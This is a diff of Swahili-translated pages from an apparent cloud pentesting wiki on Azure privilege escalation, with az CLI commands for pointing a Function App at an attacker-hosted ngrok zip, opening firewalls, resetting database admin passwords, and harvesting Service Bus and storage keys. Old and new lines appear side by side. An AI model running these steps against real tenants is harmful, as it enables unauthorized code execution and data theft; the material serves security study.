Kwa hivyo inawezekana kuweka thamani ya usanidi **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL ya faili ya zip inayoshikilia msimbo mpya wa kutekeleza ndani ya programu ya wavuti:
|
||||
Kwa hivyo inawezekana kuweka thamani ya mipangilio **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL zip faili inayoshikilia msimbo mpya wa kutekeleza ndani ya programu ya wavuti:
|
||||
|
||||
- Anza kwa kupata usanidi wa sasa
|
||||
- Anza kwa kupata config ya sasa
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Unda msimbo unayotaka kazi hiyo ifanye na uweke hadharani
|
||||
- Unda msimbo unayotaka kazi ifanye na uweke hadharani
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -205,7 +205,7 @@ ngrok http 8000
|
||||
```
|
||||
- Badilisha kazi, shika vigezo vya awali na ongeza mwishoni config **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL yenye **zip** inayoshikilia msimbo.
|
||||
|
||||
Mfano ufuatao ni wa **mipangilio yangu mwenyewe ambayo utahitaji kubadilisha thamani kwa zako**, kumbuka mwishoni thamani `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, hapa ndipo nilipokuwa nikihifadhi programu.
|
||||
Mfano ufuatao ni wa **mipangilio yangu mwenyewe unahitaji kubadilisha thamani kwa zako**, kumbuka mwishoni thamani `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, hapa ndipo nilipokuwa nikihifadhi programu.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -277,13 +277,13 @@ https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
Unaweza pia kufikia ukurasa wa wavuti kutoka `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
Thamani za mipangilio zinajumuisha **AccountKey** ya akaunti ya hifadhi inayohifadhi data ya programu ya kazi, ikiruhusu kudhibiti akaunti hiyo ya hifadhi.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Connect to the FTP server using:
|
||||
Unganisha na seva ya FTP ukitumia:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -329,7 +329,7 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
Inawezekana pia kuona kama kazi imewezeshwa au imezuiliwa katika URL ifuatayo (ukitumia ruhusa iliyo katika mabano):
|
||||
Inawezekana pia kuona kama kazi imewezeshwa au kuzuiliwa katika URL ifuatayo (ukitumia ruhusa iliyo katika mabano):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
@@ -352,9 +352,9 @@ az functionapp identity assign \
|
||||
```
|
||||
### Remote Debugging
|
||||
|
||||
Ni uwezekano wa kuungana ili kudebug kazi inayotembea ya Azure kama [**ilivyoelezwa katika nyaraka**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Hata hivyo, kwa default Azure itazima chaguo hili baada ya siku 2 ikiwa mendelevu atasahau ili kuepuka kuacha usanidi dhaifu.
|
||||
Ni uwezekano wa kuungana ili kudhibiti kazi inayotembea ya Azure kama [**ilivyoelezwa katika nyaraka**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Hata hivyo, kwa kawaida Azure itazima chaguo hili baada ya siku 2 ikiwa mendelevu atasahau ili kuepuka kuacha usanidi dhaifu.
|
||||
|
||||
Ni uwezekano wa kuangalia ikiwa Kazi ina debugging iliyoanzishwa na:
|
||||
Ni uwezekano wa kuangalia ikiwa Kazi ina udhibiti ulioanzishwa na:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -29,4 +29,14 @@ az keyvault set-policy \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
### Modify Network Restrictions
|
||||
|
||||
Inaweza kuwa nawezo wa kuwa na ruhusa ya kutosha kufikia data nyeti (kama vile thamani ya siri) lakini huwezi kuifikia kwa sababu vault ya funguo imewekwa mipaka kwa mtandao maalum. Ikiwa una ruhusa ya kubadilisha mipaka ya mtandao unaweza kuongeza IP yako kwenye orodha ya IP zinazoruhusiwa.
|
||||
```bash
|
||||
# Get the current network restrictions
|
||||
az keyvault network-rule list --name <vault-name>
|
||||
|
||||
# Add your IP to the list
|
||||
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
-2
@@ -11,7 +11,7 @@ Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha, Azure Logic Apps workflows. Workflows zinafafanua michakato ya kiotomatiki na uhusiano kati ya mifumo na huduma mbalimbali.
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha, Azure Logic Apps workflows. Workflows zinafafanua michakato ya kiotomatiki na uunganisho kati ya mifumo na huduma mbalimbali.
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -33,7 +33,7 @@ az rest \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
|
||||
Kwa ruhusa hizi, unaweza kupeleka, Logic App workflows kwa kutumia upelelezi wa faili za ZIP. Ruhusa hizi zinawezesha vitendo kama kusoma maelezo ya programu, kufikia akreditivu za uchapishaji, kuandika mabadiliko, na kuorodhesha usanidi wa programu. Pamoja na ruhusa za kuanzisha, unaweza kuboresha na kupeleka Logic App mpya na maudhui unayotaka.
|
||||
Kwa ruhusa hizi, unaweza kupeleka, Logic App workflows kwa kutumia ZIP file deployments. Ruhusa hizi zinawezesha vitendo kama kusoma maelezo ya programu, kufikia akreditivu za uchapishaji, kuandika mabadiliko, na kuorodhesha usanidi wa programu. Pamoja na ruhusa za kuanzisha, unaweza kuboresha na kupeleka Logic App mpya na maudhui unayotaka.
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
|
||||
@@ -31,7 +31,7 @@ az mysql flexible-server update \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
Vilevile, ni muhimu kuwa na ufikiaji wa umma ulioanzishwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma ulioanzishwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
```bash
|
||||
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
|
||||
+3
-3
@@ -24,20 +24,20 @@ az postgres flexible-server create \
|
||||
--tier <PricingTier> \
|
||||
--version <PostgreSQLVersion>
|
||||
```
|
||||
Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la PostgreSQL, muhimu bila shaka ikiwa uthibitishaji wa PostgreSQL umewezeshwa.
|
||||
Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la PostgreSQL, muhimu bila shaka endapo uthibitishaji wa PostgreSQL umewezeshwa.
|
||||
```bash
|
||||
az postgres flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma ulioanzishwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
Vilevile, ni muhimu kuwa na ufikiaji wa umma ulioanzishwa ikiwa unataka kufikia kutoka kwa mwisho usio wa kibinafsi, ili kuuwezesha:
|
||||
```bash
|
||||
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya PostgreSQL Flexible. Hii inaweza kutumika kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa usimamizi juu ya seva ya PostgreSQL. Kusasisha kiongozi aliyepo bado hakusaidiwi hivyo ikiwa kuna mmoja aliyeundwa lazima uifute kwanza.
|
||||
Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya PostgreSQL Flexible. Hii inaweza kutumiwa kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa usimamizi juu ya seva ya PostgreSQL. Kusasisha kiongozi aliyepo bado hakusaidiwi hivyo ikiwa kuna mmoja aliyeundwa lazima uifute kwanza.
|
||||
|
||||
Ni muhimu kwamba seva ya flexible-server iwe na utambulisho wa usimamizi wa mtumiaji aliyepewa ili kuitumia.
|
||||
```bash
|
||||
|
||||
+3
-3
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Tuma Ujumbe. Kitendo: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` AU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
Unaweza kupata `PrimaryConnectionString`, ambayo inafanya kazi kama akidi kwa ajili ya Service Bus namespace. Pamoja na hii connection string, unaweza kuthibitisha kikamilifu kama Service Bus namespace, ikikuruhusu kutuma ujumbe kwa foleni au mada yoyote na kwa uwezekano kuingiliana na mfumo kwa njia ambazo zinaweza kuharibu shughuli, kujifanya kuwa watumiaji halali, au kuingiza data mbaya katika mchakato wa ujumbe.
|
||||
Unaweza kupata `PrimaryConnectionString`, ambayo inafanya kazi kama akidi kwa ajili ya Service Bus namespace. Kwa kutumia hii connection string, unaweza kuthibitisha kikamilifu kama Service Bus namespace, na kukuwezesha kutuma ujumbe kwa foleni au mada yoyote na kwa uwezekano kuingiliana na mfumo kwa njia ambazo zinaweza kuharibu shughuli, kujifanya kuwa watumiaji halali, au kuingiza data mbaya katika mchakato wa ujumbe.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -83,7 +83,7 @@ print("----------------------------")
|
||||
```
|
||||
### Pokea Ujumbe. Kitendo: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` AU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
Unaweza kupata PrimaryConnectionString, ambayo inatumika kama kitambulisho kwa ajili ya Service Bus namespace. Kwa kutumia uhusiano huu, unaweza kupokea ujumbe kutoka kwa foleni yoyote au usajili ndani ya namespace, ikiruhusu ufikiaji wa data ambayo inaweza kuwa nyeti au muhimu, kuwezesha uhamasishaji wa data, au kuingilia kati katika usindikaji wa ujumbe na michakato ya programu.
|
||||
Unaweza kupata PrimaryConnectionString, ambayo inatumika kama kitambulisho kwa ajili ya Service Bus namespace. Kwa kutumia uhusiano huu, unaweza kupokea ujumbe kutoka kwa foleni au usajili wowote ndani ya namespace, ikiruhusu ufikiaji wa data ambayo inaweza kuwa nyeti au muhimu, ikiruhusu uhamasishaji wa data, au kuingilia kati mchakato wa ujumbe na michakato ya programu.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -129,7 +129,7 @@ print("----------------------------")
|
||||
```
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
Ikiwa una ruhusa hizi, unaweza kuongeza mamlaka kwa kusoma au kuunda funguo za ufikiaji wa pamoja. Funguo hizi zinakuwezesha kudhibiti kikamilifu jina la nafasi ya Service Bus, ikiwa ni pamoja na kusimamia foleni, mada, na kutuma/ kupokea ujumbe, ambayo inaweza kupita udhibiti wa ufikiaji unaotegemea jukumu (RBAC).
|
||||
Ikiwa una ruhusa hizi, unaweza kuongeza mamlaka kwa kusoma au kuunda funguo za ufikiaji wa pamoja. Funguo hizi zinatoa udhibiti kamili juu ya jina la huduma ya Bus, ikiwa ni pamoja na kusimamia foleni, mada, na kutuma/ kupokea ujumbe, ambayo inaweza kupita udhibiti wa ufikiaji kulingana na majukumu (RBAC).
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
|
||||
|
||||
Kwa ruhusa hizi, mtumiaji anaweza kufanya kupandisha hadhi kwa kuboresha au kuunda Azure SQL servers na kubadilisha mipangilio muhimu, ikiwa ni pamoja na akcredentials za usimamizi. Ruhusa hii inamruhusu mtumiaji kuboresha mali za server, ikiwa ni pamoja na nenosiri la msimamizi wa SQL server, na kuwezesha ufikiaji usioidhinishwa au udhibiti juu ya server. Wanaweza pia kuunda servers mpya, ambayo inaweza kuanzisha miundombinu ya kivuli kwa madhumuni mabaya. Hii inakuwa muhimu hasa katika mazingira ambapo "Microsoft Entra Authentication Only" imezimwa, kwani wanaweza kutumia uthibitishaji wa SQL kupata ufikiaji usio na kikomo.
|
||||
Kwa ruhusa hizi, mtumiaji anaweza kufanya kupandisha hadhi kwa kuboresha au kuunda Azure SQL servers na kubadilisha mipangilio muhimu, ikiwa ni pamoja na akcredentials za usimamizi. Ruhusa hii inamruhusu mtumiaji kuboresha mali za server, ikiwa ni pamoja na nenosiri la msimamizi wa SQL server, kuruhusu ufikiaji usioidhinishwa au udhibiti juu ya server. Wanaweza pia kuunda servers mpya, huenda wakileta miundombinu ya kivuli kwa madhumuni mabaya. Hii inakuwa muhimu hasa katika mazingira ambapo "Microsoft Entra Authentication Only" imezimwa, kwani wanaweza kutumia uthibitishaji wa SQL kupata ufikiaji usio na kikomo.
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
@@ -37,7 +37,7 @@ az sql server update \
|
||||
```
|
||||
### `Microsoft.Sql/servers/firewallRules/write`
|
||||
|
||||
Mshambuliaji anaweza kubadilisha sheria za firewall kwenye Azure SQL servers ili kuruhusu ufikiaji usioidhinishwa. Hii inaweza kutumika kufungua server kwa anwani maalum za IP au anuwai nzima za IP, ikiwa ni pamoja na IP za umma, ikiruhusu ufikiaji kwa wahusika wabaya. Shughuli hii ya baada ya mshambulizi inaweza kutumika kupita udhibiti wa usalama wa mtandao uliopo, kuanzisha kudumu, au kuwezesha harakati za upande ndani ya mazingira kwa kufichua rasilimali nyeti.
|
||||
Mshambuliaji anaweza kubadilisha sheria za firewall kwenye Azure SQL servers ili kuruhusu ufikiaji usioidhinishwa. Hii inaweza kutumika kufungua server kwa anwani maalum za IP au anuwai nzima za IP, ikiwa ni pamoja na IP za umma, ikiruhusu ufikiaji kwa wahusika wabaya. Shughuli hii ya baada ya kushambulia inaweza kutumika kupita udhibiti wa usalama wa mtandao uliopo, kuanzisha kudumu, au kuwezesha harakati za upande ndani ya mazingira kwa kufichua rasilimali nyeti.
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
@@ -74,7 +74,7 @@ NOTE: Ni muhimu kuwa na ufikiaji wa umma ulioanzishwa
|
||||
|
||||
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
|
||||
|
||||
Kwa ruhusa hizi unaweza privesc katika mazingira ya Azure SQL Server kwa kufikia hifadhidata za SQL na kupata taarifa muhimu. Kwa kutumia amri iliyo hapa chini, mshambuliaji au mtumiaji aliyeidhinishwa anaweza kujipatia au kuweka akaunti nyingine kama msimamizi wa Azure AD. Ikiwa "Microsoft Entra Authentication Only" imeanzishwa unaweza kufikia seva na matukio yake. Hapa kuna amri ya kuweka msimamizi wa Azure AD kwa seva ya SQL:
|
||||
Kwa ruhusa hizi unaweza privesc katika mazingira ya Azure SQL Server kwa kufikia database za SQL na kupata taarifa muhimu. Kwa kutumia amri iliyo hapa chini, mshambuliaji au mtumiaji aliyeidhinishwa anaweza kujipatia au kuweka akaunti nyingine kama msimamizi wa Azure AD. Ikiwa "Microsoft Entra Authentication Only" imeanzishwa unaweza kufikia server na mifano yake. Hapa kuna amri ya kuweka msimamizi wa Azure AD kwa server ya SQL:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
@@ -84,7 +84,7 @@ az sql server ad-admin create \
|
||||
```
|
||||
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
|
||||
|
||||
Kwa ruhusa hizi, unaweza kuunda na kutekeleza "Microsoft Entra Authentication Only" kwenye Azure SQL Server, ambayo inaweza kusaidia kupandisha hadhi katika hali fulani. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hizi anaweza kuwezesha au kuzima uthibitishaji wa Azure AD pekee.
|
||||
Kwa ruhusa hizi, unaweza kusanifu na kutekeleza "Microsoft Entra Authentication Only" kwenye Azure SQL Server, ambayo inaweza kusaidia kupandisha hadhi katika hali fulani. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hizi anaweza kuwezesha au kuzima uthibitishaji wa Azure AD pekee.
|
||||
```bash
|
||||
#Enable
|
||||
az sql server azure-ad-only-auth enable \
|
||||
|
||||
@@ -18,7 +18,7 @@ az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza kufufua na kupata thamani mpya ya siri ya **funguo za ufikiaji** za akaunti za hifadhi. Hii inaruhusu mtu huyo kuongeza mamlaka yake juu ya akaunti za hifadhi.
|
||||
Mtu mwenye ruhusa hii ataweza kufufua na kupata thamani mpya ya siri ya **access keys** za akaunti za hifadhi. Hii inaruhusu mtu huyo kuongeza mamlaka yake juu ya akaunti za hifadhi.
|
||||
|
||||
Zaidi ya hayo, katika jibu, mtumiaji atapata thamani ya funguo zilizofufuliwa na pia ya zile zisizofufuliwa:
|
||||
```bash
|
||||
@@ -41,7 +41,7 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
|
||||
Ruhusa ya kwanza inaruhusu **kubadilisha sera za kutokuweza kubadilishwa** katika kontena na ya pili kufuta hizo.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba ikiwa sera ya kutokuweza kubadilishwa iko katika hali ya kufungwa, huwezi kufanya yoyote kati ya hizo mbili.
|
||||
> Kumbuka kwamba ikiwa sera ya kutokuweza kubadilishwa iko katika hali ya kufungwa, huwezi kufanya mojawapo ya hizo mbili.
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -58,15 +58,15 @@ az storage container immutability-policy update \
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
|
||||
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kuchukua umiliki wa faili ndani ya mfumo wa faili ulio shiriki.
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuchukua umiliki wa faili ndani ya mfumo wa faili wa pamoja.
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
|
||||
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kubadilisha ruhusa za faili ndani ya mfumo wa faili ulio shiriki.
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kubadilisha ruhusa za faili ndani ya mfumo wa faili wa pamoja.
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
|
||||
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kutekeleza vitendo ndani ya mfumo wa faili kama superuser.
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kufanya vitendo ndani ya mfumo wa faili kama superuser.
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
|
||||
|
||||
@@ -82,21 +82,21 @@ az storage account local-user create \
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
|
||||
|
||||
Kwa ruhusa hii, mshambuliaji anaweza kuunda upya nenosiri la mtumiaji wa ndani katika akaunti ya Azure Storage. Hii inampa mshambuliaji uwezo wa kupata akreditif mpya za uthibitishaji (kama vile nenosiri la SSH au SFTP) kwa mtumiaji. Kwa kutumia akreditif hizi, mshambuliaji anaweza kupata ufikiaji usioidhinishwa kwenye akaunti ya hifadhi, kufanya uhamishaji wa faili, au kubadilisha data ndani ya vyombo vya hifadhi. Hii inaweza kusababisha uvujaji wa data, uharibifu, au mabadiliko mabaya ya maudhui ya akaunti ya hifadhi.
|
||||
Kwa ruhusa hii, mshambuliaji anaweza kuunda upya nenosiri la mtumiaji wa ndani katika akaunti ya Azure Storage. Hii inampa mshambuliaji uwezo wa kupata akreditif mpya za uthibitishaji (kama vile nenosiri la SSH au SFTP) kwa mtumiaji. Kwa kutumia akreditif hizi, mshambuliaji anaweza kupata ufikiaji usioidhinishwa kwenye akaunti ya hifadhi, kufanya uhamishaji wa faili, au kubadilisha data ndani ya kontena za hifadhi. Hii inaweza kusababisha uvujaji wa data, uharibifu, au mabadiliko mabaya ya maudhui ya akaunti ya hifadhi.
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
```
|
||||
Ili kufikia Azure Blob Storage kupitia SFTP (is_hns_enabled inapaswa kuwa kweli) kwa kutumia mtumiaji wa ndani kupitia SFTP unaweza (unaweza pia kutumia funguo za ssh kuungana):
|
||||
Ili kufikia Azure Blob Storage kupitia SFTP (is_hns_enabled inapaswa kuwa kweli) kwa kutumia mtumiaji wa ndani kupitia SFTP unaweza (unaweza pia kutumia ssh key kuungana):
|
||||
```bash
|
||||
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
|
||||
|
||||
Kwa ruhusa hizi, mshambuliaji anaweza kurejesha kontena lililofutwa kwa kubainisha kitambulisho chake cha toleo lililofutwa au kuondoa blobs maalum ndani ya kontena, ikiwa zilikuwa zimefutwa kwa njia ya laini awali. Kuinua ruhusa hii kunaweza kumwezesha mshambuliaji kurejesha data nyeti ambayo ilikusudiwa kufutwa kabisa, ambayo inaweza kusababisha ufikiaji usioidhinishwa.
|
||||
Kwa ruhusa hizi, mshambuliaji anaweza kurejesha kontena lililofutwa kwa kubainisha kitambulisho cha toleo lake lililofutwa au kuondoa blobs maalum ndani ya kontena, ikiwa zilikuwa zimefutwa kwa njia ya laini awali. Kuinua ruhusa hii kunaweza kumwezesha mshambuliaji kurejesha data nyeti ambayo ilikusudiwa kufutwa kabisa, ambayo inaweza kusababisha ufikiaji usioidhinishwa.
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Active Directory (Azure AD) inatoa huduma ya Microsoft ya msingi ya wingu kwa usimamizi wa utambulisho na ufikiaji. Ni muhimu katika kuwezesha wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikiwa ni pamoja na Microsoft 365, lango la Azure, na maombi mengine mengi ya SaaS. Muundo wa Azure AD unalenga kutoa huduma muhimu za utambulisho, hasa ikiwa ni pamoja na **uthibitishaji, ruhusa, na usimamizi wa watumiaji**.
|
||||
Azure Active Directory (Azure AD) inatoa huduma ya Microsoft ya msingi ya wingu kwa usimamizi wa utambulisho na ufikiaji. Ni muhimu katika kuwezesha wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikiwa ni pamoja na Microsoft 365, lango la Azure, na maombi mengine mengi ya SaaS. Muundo wa Azure AD unalenga kutoa huduma muhimu za utambulisho, ikiwa ni pamoja na **uthibitishaji, ruhusa, na usimamizi wa watumiaji**.
|
||||
|
||||
Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganisho usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinainua kwa kiasi kikubwa usalama wa utambulisho wa watumiaji na kuweza kwa mashirika kutekeleza na kutekeleza sera zao za ufikiaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji kwa kutumia wingu.
|
||||
Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganisho usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinainua usalama wa utambulisho wa watumiaji na kuweza kuwezesha mashirika kutekeleza na kutekeleza sera zao za ufikiaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji kwa msingi wa wingu.
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -184,11 +184,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Wakati unapo **ingia** kupitia **CLI** kwenye Azure na programu yoyote, unatumia **Azure Application** kutoka **tenant** inayomilikiwa na **Microsoft**. Programu hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. **Hutaweza kuziona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa default**.
|
||||
Wakati unapo **ingia** kupitia **CLI** kwenye Azure kwa programu yoyote, unatumia **Azure Application** kutoka **tenant** inayomilikiwa na **Microsoft**. Programu hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. **Hutaweza kuona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa default**.
|
||||
|
||||
Kwa mfano, **powershell script** inayofanya **uthibitisho** inatumia programu yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama programu hiyo haitappear kwenye console, sysadmin anaweza **kuzuia programu hiyo** ili watumiaji wasiweze kufikia kwa kutumia zana zinazounganisha kupitia programu hiyo.
|
||||
|
||||
Hata hivyo, kuna **client-ids** nyingine za programu ambazo **zitakuruhusu kuungana na Azure**:
|
||||
Hata hivyo, kuna **client-ids nyingine** za programu ambazo **zitakuruhusu kuungana na Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
```
|
||||
### MFA & Sera za Ufikiaji wa Masharti
|
||||
|
||||
Inapendekezwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitaweka au zinaweza kuziweka kwa Ufikiaji wa Masharti: Mtumiaji atakuwa **na hitaji la MFA ikiwa** anaingia kutoka eneo fulani, kivinjari au **hali fulani**. Sera hizi, ikiwa hazijawekwa vizuri zinaweza kuwa na uwezekano wa **kupitishwa**. Angalia:
|
||||
Inapendekezwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitaweka au zinaweza kuziweka kwa Ufikiaji wa Masharti: Mtumiaji atakuwa **na hitaji la MFA ikiwa** ataingia kutoka eneo fulani, kivinjari au **hali fulani**. Sera hizi, ikiwa hazijawekwa vizuri zinaweza kuwa na uwezekano wa **kuepukwa**. Angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
